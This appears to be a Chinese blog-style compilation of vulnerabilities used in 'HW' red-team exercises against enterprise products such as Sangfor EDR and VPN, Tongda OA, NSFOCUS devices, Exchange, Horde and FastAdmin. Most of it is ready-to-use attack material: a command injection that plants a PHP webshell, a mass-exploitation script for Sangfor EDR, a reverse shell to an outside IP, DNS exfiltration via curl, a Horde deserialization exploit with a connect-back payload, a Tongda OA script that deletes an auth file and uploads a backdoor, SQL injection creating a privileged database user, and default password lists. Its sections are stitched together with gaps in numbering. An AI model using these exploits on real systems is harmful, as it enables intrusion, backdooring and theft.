护网中的漏洞

https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}" ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}- d|bash`|${IFS}|echo${IFS}

3.getshell访问路径：

/var/www/shterm/resources/qrcode/lbj77.php  

https://10.20.10.10/shterm/resources/qrcode/lbj77.php(密码10086)

据说还是另外一个版本是java的:

POST /shterm/listener/tui_update.php

a=["t';import os;os.popen('whoami')#"]

二、天融信TopApp-LB 负载均衡系统Sql注入漏洞

2.2个历史漏洞仍然可以复现。

https://www.uedbox.com/post/21626/

用户名随意  密码：;id（天融信负载均衡TopApp-LB系统无需密码直接登陆）

三、用友GRP-u8 注入

四、绿盟UTS综合威胁探针管理员任意登录

逻辑漏洞,利用方式参考：https://www.hackbug.net/archives/112.html

1、修改登录数据包 {"status":false,"mag":""} -> {"status":true,"mag":""}

2、/webapi/v1/system/accountmanage/account接口逻辑错误泄漏了管理员的账户信息包括密码（md5）

3、再次登录,替换密码上个数据包中md5密码

4、登录成功

五、天融信数据防泄漏系统越权修改管理员密码

无需登录权限,由于修改密码处未校验原密码,且/?module=auth_user&action=mod_edit_pwd，接口未授权访问,造成直接修改任意用户密码，默认superman账户uid为1

POST /?module=auth_user&action=mod_edit_pwd 

Cookie: username=superman;

uid=1&pd=Newpasswd&mod_pwd=1&dlp_perm=1

六、WPS Office 图片解析错误导致堆损坏，任意代码执行

看上去(算了看不懂... ,漏洞利用可能导致拒绝服务。

相关参考:

http://zeifan.my/security/rce/heap/2020/09/03/wps-rce-heap.html

七、SANGFOR终端检测响应平台-任意用户登录

fofa指纹：title="SANGFOR终端检测响应平台"

漏洞利用：
payload：

  https://ip/ui/login.php?user=需登录的用户名

列如：

  https://1.1.1.1:1980/ui/login.php?user=admin

查询完毕以后即可登录平台。

八、某信服EDR漏洞-包含payload

1.漏洞利用方法：

https://xxx.xxx.xxx/tool/log/c.php?strip_slashes=system&host=whoami

2.批量利用方法

网上已经放出批量利用方法了，如下：https://github.com/A2gel/sangfor-edr-exploit

# -*- coding: utf-8 -*-

# @Time : 2020/8/17

# @Author : Angel

# @File : edr.py

# 感谢大佬提供Command execute部分代码

import requests

import re

import urllib3

import sys

import base64

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def hello():

    """

    init function

    :return: init print

    """

    print (

    """SangFor EDR remote command code exploit

    Angel 20200817

    Github: https://github.com/A2gel/sangfor-edr-exploit

    Command: python edr.py url http://10.10.10.0/

    Command: python edr.py file 1.txt whoami""")

def readFile(filename):

    """

    逐行读取文件内容并返回列表

    :param filename: 文件名

    :return: 逐行分割的文件内容

    """

    list=[]

    keywords = open('./'+filename, 'r')

    line = keywords.readline().strip('\n')

    while (line):

        list.append(line)

        line = keywords.readline().strip('\n')

    keywords.close()

    return list

def log(name,value):

    """

    逐行写入文件

    :param name: 文件名

    :param value: 文件内容

    :return: 空

    """

    save = file(str(name)+".txt", "a+")

    save.write(str(value)+"\n")

    save.close()

def rce(host,command):

    """

    远程命令执行核心函数

    :param host: URL信息

    :param command: 执行的命令

    :return: 成功执行返回命令回显 失败打印faild 返回-

    """

    headers={

        'Connection': 'close',

        'Cache-Control': 'max-age=0',

        'Upgrade-Insecure-Requests': '1',

        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36',

        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',

        'Sec-Fetch-Site': 'none',

        'Sec-Fetch-Mode': 'navigate',

        'Sec-Fetch-User': '?1',

        'Sec-Fetch-Dest': 'document',

        'Accept-Encoding': 'gzip, deflate',

        'Accept-Language': 'zh-CN,zh;q=0.9'

    }

    command=base64.b64encode(command)

    command="echo \""+command+"\""+"|base64 -d|bash"

    command = command.replace(" ","$IFS")

    url="{}/tool/log/c.php?strip_slashes=system&host={}".format(host,command)

    #print url

    try:

        response = requests.get(url,verify=False,headers=headers)

        response.raise_for_status()

        response.encoding = "utf-8"

        #print response.text

        res=re.findall(r'<b>Log Helper</b></p>(.+?)<pre><form',response.text,re.S)

        response.close()

        print(res[0])

        return "+"

    except:

        print('failed')

        return "-"

if __name__ == '__main__':

    if len(sys.argv) < 2:

        hello()

    else:

        if sys.argv[1] == "url":

            while 1:

                command = raw_input("Command> ")

                if command:

                    print ("Try %s"%sys.argv[2])

                    rce(sys.argv[2],command)

                else:

                    print ("Please input Command")

                command = ""

        elif sys.argv[1] == "file":

            if (sys.argv) < 3:

                print "Command: python edr.py file url.txt"

            else:

                for i in readFile(sys.argv[2]):

                    print ("Try %s"%i)

                    if rce(i,sys.argv[3]) == "+":

                        log("success",sys.argv[3])

                    else:

                        log("error",sys.argv[3])

        else:

            hello()

单个url

python edr.py url http://10.10.10.10

Command> whoami
Try http://10.10.10.10
root

批量url 需要在目录下创建xxx.txt 一行一个url

python edr.py file 1.txt whoami

Try: http://10.10.10.10
root
Try: http://10.10.10.11
root

1.漏洞原理:

dev_linkage_launch.php 为设备联动的新入口点主要是将联动的接口构造成业务统一处理的接口

主要调用

跟进

可以看到 第一个检查为  $req_url = $_SERVER['PHP_SELF'];

绕过第一个检查:

在他们系统nginx配置文件里面:

通过nginx规则可以得知,他们没有设置禁止外网访问.从而可以直接访问

/api/edr/sangforinter/v2/xxx 绕过 第一个检查

第二检查: 权限检查

跟进check_access_token

这里if($md5_str == $json_token["md5"]) 引发第二个漏洞: php弱类型导致的漏洞

绕过只需要传入一个base64编码的json内容为 {“md5”:true}即可

至此 权限检查绕过完毕

来到  process_cssp.php 文件

存在任意指令执行漏洞.作者试图使用escapeshellarg函数去给单引号打反斜杠实际上是毫无作用的.

绕过:{"params":"w=123\"'1234123'\"|命令"}

2.利用POC:

post  /api/edr/sanforinter/v2/cssp/slog_client?token=ssskbkds  HTTP/1.1.

{"params":"w=123\"'1234123'\"|bash  -i >/dev/tcp/167.179.118.219/8899  0>&1"}

外网linux反弹监听NC端口

nc -lvvp  889

/api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9

{"params": "w=123\"'1234123'\"|curl `whoami`.dnslog.cn"}

批量脚本执行：

pip install requests
python Weaver-Ecology-OA_RCE-exp.py 
url.txt文件中 是url地址 需要带http协议

POST /dolphinscheduler/users/update
id=1&userName=admin&userPassword=Password1!&tenantId=1&email=sdluser%40sdluser.sdluser&phone=

2、jdbc连接参数就是主角,这里没有限制任意类型的连接串参数。

3、将以下数据添加到jdbc连接参数中,就可以直接触发。

POST /dolphinscheduler/datasources/connect HTTP/1.1

type=MYSQL&name=test&note=&host=127.0.0.1&port=3306&database=test&

principal=&userName=root&password=root&connectType=&

other={"detectCustomCollations":true,"autoDeserialize":true}

关于MySQL JDBC客户端反序列化漏洞的相关参考：

https://www.anquanke.com/post/id/203086

researcher@incite:~$ ./poc.py
(+) usage: ./poc.py <target> <user:pass> <cmd>
(+) eg: ./poc.py 192.168.75.142 [email protected]:user123### mspaint

researcher@incite:~$ ./poc.py 192.168.75.142 [email protected]:user123### mspaint
(+) logged in as [email protected]
(+) found the __viewstate: /wEPDwUILTg5MDAzMDFkZFAeyPS7/eBJ4lPNRNPBjm8QiWLWnirQ1vsGlSyjVxa5

(+) triggered rce as SYSTEM!

Microsoft Exchange远程代码执行(CVE-2020-16875):
Microsoft Exchange服务器中存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以在系统用户的上下文中运行任意代码。利用此漏洞需要拥有以某个Exchange角色进行身份验证的用户权限。
该漏洞影响版本:
microsoft:exchange_server_2016: cu16/cu17
microsoft:exchange_server_2019: cu5/cu6

MSF利用（https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb):
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > run

[*] Started HTTPS reverse handler on https://192.168.123.1:8443
[*] Executing automatic check (disable AutoCheck to override)
[!] The service is running, but could not be validated. OWA is running at https://192.168.123.192/owa/
[*] Logging in to OWA with creds Administrator:Passw0rd!
[+] Successfully logged in to OWA
[*] Retrieving ViewState from DLP policy creation page
[+] Successfully retrieved ViewState
[*] Creating custom DLP policy from malicious template
[*] DLP policy name: Abbotstone Agricultural Property Unit Trust Data
[*] Powershell command length: 2372
[*] https://192.168.123.1:8443 handling request from 192.168.123.192; (UUID: rwlz4ahe) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 1 opened (192.168.123.1:8443 -> 192.168.123.192:6951) at 2020-09-16 02:39:17 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-365Q2VJJS17
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : GIBSON
Logged On Users : 8
Meterpreter     : x64/windows
meterpreter >

#!/usr/bin/env python3
"""
Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability

Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ..: mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33

Summary:
========

It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.

Example:
========

saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337

saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!
"""

import re
import sys
import socket
import requests
import telnetlib
import base64
from threading import Thread

def rs(cbh, cbp):
    return """@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
$dis=@ini_get('disable_functions');
if(!empty($dis)){
    $dis=preg_replace('/[, ]+/', ',', $dis);
    $dis=explode(',', $dis);
    $dis=array_map('trim', $dis);
}else{
    $dis=array();
}
$ipaddr='%s';
$port=%d;
function PtdSlhY($c){
    global $dis; 
    if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
        $c=$c." 2>&1\\n";
    }
    ob_start();
    system($c);
    $o=ob_get_contents();
    ob_end_clean();
    if (strlen($o) === 0){
        $o = "NULL";
    }
    return $o;
}
$nofuncs='no exec functions';
$s=@fsockopen("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
    $out = '';
    if(substr($c,0,3) == 'cd '){
        chdir(substr($c,3,-1));
    }else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
        break;
    }else{
        $out=PtdSlhY(substr($c,0,-1));
        if($out===false){
            fwrite($s, $nofuncs);
            break;
        }
    }
    fwrite($s,$out);
}
fclose($s);""" % (cbh, cbp)

def get_session(t, p, usr, pwd):
    uri = "http://%s%slogin.php" % (t, p)
    p = {
        "login_post" : 1337,
        "horde_user" : usr,
        "horde_pass" : pwd
    }
    r = requests.post(uri, data=p, allow_redirects=False)
    match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
    assert len(match) == 2, "(-) failed to login"
    return match[1]

def trigger_deserialization(t, p, s, host, port):
    """ Object instantiation to reach the deserialization """
    handlerthr = Thread(target=handler, args=(port,))
    handlerthr.start()
    uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
    p = {
        "imple" : "IMP_Prefs_Sort",
        "app" : "imp",
    }
    h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
    c = { "Horde" : s }
    r = requests.get(uri, params=p, cookies=c, headers=h)
    match = re.search("horde_logout_token=(.*)&", r.text)
    assert match, "(-) failed to leak the horde_logout_token!"
    p['token'] = match.group(1)
    r = requests.get(uri, params=p, cookies=c, headers=h)
    assert r.status_code == 200, "(-) failed to trigger deserialization!"

def get_pop():
    """ An updated pop chain """
    pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
    pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'
    pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'
    pop += 'S:8:"\\00*\\00_opts";a:1:{'
    pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
    pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
    pop += '}i:1;s:13:"readXMLConfig";}}'
    pop += 'S:10:"\\00*\\00_scopes";a:1:{'
    pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}'  # implements Serializable using custom unserialize/serialize
    pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'
    pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}'             # additional checks
    pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'
    return pop

def get_patch():
    """ Our original array """
    patch  = 'a:1:{'
    patch += 's:5:"INBOX";a:1:{'
    patch += 's:1:"b";i:6;'
    patch += '}}'
    return patch

def set_pref(t, p, s, k, o):
    """ A primitive that inserts a string into the database """
    uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
    p = {
        "pref" : k,
        "value" : o,
    }
    c = { "Horde" : s }
    r = requests.get(uri, params=p, cookies=c)
    match = re.search("horde_logout_token=(.*)&", r.text)
    assert match, "(-) failed to leak the horde_logout_token!"
    p['token'] = match.group(1)
    r = requests.get(uri, params=p, cookies=c)
    assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"

def handler(lport):
    print("(+) starting handler on port %d" % lport)
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lport))
    s.listen(1)
    conn, addr = s.accept()
    print("(+) connection from %s" % addr[0])
    t.sock = conn
    print("(+) pop thy shell!")
    t.interact()

def fix_path(p):
    if p == "/":
        return p
    if not p.startswith("/"):
        p = "/%s" % p
    if not p.endswith("/"):
        p = "%s/" % p
    return p

def main():
    if len(sys.argv) < 5:
        print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
        print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
        sys.exit(0)
    target = sys.argv[1]
    path   = fix_path(sys.argv[2])
    user   = sys.argv[3].split(":")[0]
    pswd   = sys.argv[3].split(":")[1]
    host   = sys.argv[4].split(":")[0]
    port   = int(sys.argv[4].split(":")[1])
    print("(+) targeting http://%s%s" % (target, path))
    session = get_session(target, path, user, pswd)
    print("(+) obtained session %s" % session)
    set_pref(target, path, session, 'sortpref', get_pop())
    print("(+) inserted our php object")
    print("(+) triggering deserialization...")
    trigger_deserialization(target, path, session, host, port)
    set_pref(target, path, session, 'sortpref', get_patch())
    print("(+) repaired the target!")

if __name__ == "__main__":
    main()

二十八、通达OA任意用户登录

1、首先访问 /ispirit/login_code.php 获取 codeuid。

2、访问 /general/login_code_scan.php 提交 post 参数：

uid=1&codeuid={9E908086-342B-2A87-B0E9-E573E226302A}

3、最后访问 /ispirit/login_code_check.php?codeuid=xxx

这样 $_SESSION 里就有了登录的信息了。

二十九、通达OA v11.7 后台SQL注入

利用条件:需要登录权限,文章作者给出了利用链注入加mysql权限,又是写木马的。

/general/hr/manage/query/delete_cascade.php?condition_cascade=

select%20if((substr(user(),1,1)=%27r%27),1,power(9999,99))

1、添加一个mysql用户

grant all privileges ON mysql.* TO 'ateam666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION

2、给创建的ateam666账户添加mysql权限。

UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('ateam666' AS Binary(5));

3、刷新数据库就可以登录到数据库啦。

/general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;

4、通达OA配置mysql默认是不开启外网访问的所以需要修改mysql授权登录。

/general/hr/manage/query/delete_cascade.php?condition_cascade=

grant all privileges ON mysql.* TO 'ateam666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION

5、接下来就是考验mysql提权功底的时候啦 233...

来源:https://mp.weixin.qq.com/s/8rvIT1y_odN2obJ1yAvLbw

三十、Wordpress File-manager插件任意文件上传

相信大家对Wordpress并不陌生;File-manager插件也是相当火爆前段时间爆出任意文件上传漏洞。

成功上传后文件访问路径

/wordpress/wp-content/plugins/wp-file-manager/lib/files/shell.php

参考:https://www.anquanke.com/post/id/216990

三十一、Pligg CMS远程代码执行[CVE-2020-25287]

漏洞非常鸡肋需要登录后台、受影响Pligg2.0.3版本。

1、模版编辑器功能可以编辑任意文件内容,在文件中加入恶意代码导致代码执行。

参考：https://github.com/jenaye/pligg

alert tcp any any -> any ![139,445] (msg:"Possible Mimikatz Zerologon Attempt"; flow:established,to_server; content:"|00|"; offset:2; content:"|0f 00|"; distance:22; within:2; fast_pattern; content:"|00 00 00 00 00 00 00 00 ff ff 2f 21|"; within:90; reference:url,https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20200916; classtype:attempted-admin; sid:20166330; rev:2; metadata:created_at 2020_09_19;)

1. 当在初始部署阶段允许存在突破的Netlogon安全通道连接时，将生成事件ID 5829。
2. 管理员可以监控事件ID 5827和5828，这些事件ID在存在漏洞的Netlogon连接被拒绝时触发
3. 5830，5831如果“域控制器：允许易受攻击的Netlogon安全通道连接”组策略允许连接。

）在演示场景中，我们使用的版本为替代配置的Microsoft SharePoint 2019 Server，安装在Windows Server 2019 Datacenter系统上。服务器主机称为sp2019.contoso.lab，已加入contoso.lab域中，域控制器为一台独立的虚拟机。目标主机已安装终止2020年2月份的所有补丁，因此对应的版本号为16.0.10355.20000。

攻击系统中只需要使用支持的Web浏览器即可。如下图所示，我们使用的浏览器为Mozilla Firefox 69.0.3。我们将使用与前文类似的WikiContentWebpart，将其命名为WikiContentRCE.xml。

1.首先我们访问SharePoint Server，以普通用户（user2）通过身份认证：

2.接下来创建站点，使该用户变成该站点所有者（所有者），具有所有权限。（前提条件普通用户具有创建站点的权限）

点击顶部面板的“ SharePoint”区域：

然后点击“ +创建网站 ”链接：

选择“ Team Site ”。现在我们需要为新站点设置名称，这里我们设置为testsiteofuser2。

点击“ 完成 ”，成功创建新站点：

现在点击“ Pages ”链接：

我们需要切换到“ Classic View ”，单击左下角的“ Return to classic SharePoint ”链接即可：

点击“ + New ”，为新页面设置一个名称。这里我们设置为newpage1：

点击“ 创建 ”按钮确认。

现在我们需要在“ INSERT ”标签页中选择“ Web Part ”：

在上方窗口中，选择左下角的“ Upload Web Part ”链接，上传我们构造的WikiContentRCE.xml文件：

点击上传。我们可能会看到一个警告弹窗：“确认离开页面？您输入的数据可能不会被保存”。此时点击“ 离开页面 ”按钮即可，返回主编辑视图：

我们需要再次在INSERT标签页中选择Web部件小部件，其中将出现我们引入的Web部件：

在点击添加按钮之前，我们先转到目标SharePoint服务器，打开C:\windows\temp目录：

此时该目录中不存在RCE_PoC.txt文件。

现在我们转到攻击者主机，将我们引入的Web Part添加到页面中：

再次在目标服务器上检查C:\windows\temp目录：

通过这种方法，攻击者可以执行任意系统命令，入侵服务器。攻击者只需要在WikiContentRCE.xml文件中，将echo pwned > c:/windows/temp/RCE_PoC.txt串联替换成所需的命令即可。

M7.6.6R1版本默认key为20181118

M7.6.1版本默认key为20100720

sangfor_key.py

from  Crypto.Clipher  import  ARC4

from binascii  import  a2b_hex

def   myRC4(data,key):

    rc41=ARC4.new(key)

    encrypted=rc41.encrypt(data)

    return  encrypted.encode('hex')

def rc4_decrpt_hex(data,key):

    rc41=ARC4.new(key)

    return  rc41.decrypt(a2b_hex(data))

key='20200720'

data=r',username=TARGET_USERNAME,ip=127.0.0.1,grpid=1,pripsw=suiyi,newpsw=TARGET_PASSWORD,'

print  myRC4(data,key)

https://<PATH>/por/changepwd.csp(post)

sessReq=clusterd&sessid=0&str=RC4_STR&len=RC4_STR&len=(脚本计算后结果)

三十六、深信服SSL VPN修改任意账户手机号

修改手机号接口未正确鉴权导致越权覆盖任意用户的手机号码

利用:需要登录账号

三十七、通达OA v11.6版本RCE漏洞

二、复现过程
1.下载11.6版本oa，下载地址：http://www.kxdw.com/soft/23114.html
2.安装

3.exp脚本

import requests

target="http://ip:port/"     //此处填写上面安装oa的ip及端口

payload="<?php eval($_POST['hahaha']);?>"

print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")

input("Press enter to continue")

print("[*]Deleting auth.inc.php....")

url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"

requests.get(url=url)

print("[*]Checking if file deleted...")

url=target+"/inc/auth.inc.php"

page=requests.get(url=url).text

if 'No input file specified.' not in page:

    print("[-]Failed to deleted auth.inc.php")

    exit(-1)

print("[+]Successfully deleted auth.inc.php!")

print("[*]Uploading payload...")

url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"

files = {'FILE1': ('deconf.php', payload)}

requests.post(url=url,files=files)

url=target+"/_deconf.php"

page=requests.get(url=url).text

if 'No input file specified.' not in page:

    print("[+]Filed Uploaded Successfully")

    print("[+]URL:",url)

else:

    print("[-]Failed to upload file")

4.然后执行该exp的效果如下图

5.用菜刀连接该后门，如下

https://github.com/TomAPU/poc_and_exp
https://drivertom.blogspot.com/2019/06/pyspider-webuipocexp.html

三十八、F5负载均衡：cve-2020-5902

• BIG-IP 15.x: 15.1.0/15.0.0
• BIG-IP 14.x: 14.1.0 ~ 14.1.2
• BIG-IP 13.x: 13.1.0 ~ 13.1.3
• BIG-IP 12.x: 12.1.0 ~ 12.1.5
• BIG-IP 11.x: 11.6.1 ~ 11.6.5

三十九、fastadmin前台getshell+csrf+xss

    //是否开启前台会员中心
    'usercenter'             => true，

 public function _empty($name)
    {
        $data = Hook::listen("user_request_empty", $name);
        foreach ($data as $index => $datum) {
            $this->view->assign($datum);
        }
        return $this->view->fetch('user/' . $name);
    }

POST /admin.php/category/add?dialog=1 HTTP/1.1
Host: admin.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 233
Origin: http://admin.com
Connection: close
Referer: http://admin.com/admin.php/category/add?dialog=1
Cookie: PHPSESSID=ou6fjfn717lu02rfm9saqguca4; uid=3; token=f824ac8c-ac7b-4979-a89b-b47dd8e79226

row%5Btype%5D=default&row%5Bpid%5D=0&row%5Bname%5D=%3Cscript%3Ealert(1)%3C%2Fscript%3E&row%5Bnickname%5D=123&row%5Bimage%5D=1&row%5Bkeywords%5D=123&row%5Bdescription%5D=123&row%5Bweigh%5D=0&row%5Bstatus%5D=normal&row%5Bflag%5D%5B%5D=

且存在csrf漏洞
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://admin.com/admin.php/category/add?dialog=1" method="POST">
      <input type="hidden" name="row&#91;type&#93;" value="default" />
      <input type="hidden" name="row&#91;pid&#93;" value="0" />
      <input type="hidden" name="row&#91;name&#93;" value="&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="row&#91;nickname&#93;" value="123" />
      <input type="hidden" name="row&#91;image&#93;" value="1" />
      <input type="hidden" name="row&#91;keywords&#93;" value="123" />
      <input type="hidden" name="row&#91;description&#93;" value="123" />
      <input type="hidden" name="row&#91;weigh&#93;" value="0" />
      <input type="hidden" name="row&#91;status&#93;" value="normal" />
      <input type="hidden" name="row&#91;flag&#93;&#91;&#93;" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

绿盟安全产品默认密码排查列表:

IPS入侵防御系统、SAS­H运维安全管理系统、SAS安全审计系统、DAS数据库审计系统、RSAS远程安全评估系统、WAF WEB应用防护系统

sysauditor/sysauditor

sysmanager/sysmanager

supervisor/supervisor

maintainer/maintainer

webpolicy/webpolicy

sysadmin/sysadmin

conadmin/conadmin

supervis/supervis

webaudit/webaudit

sysadmin/sysadmin

conadmin/nsfocus

weboper/weboper

auditor/auditor

weboper/weboper

nsadmin/nsadmin

admin/nsfocus

admin/admin

shell/shell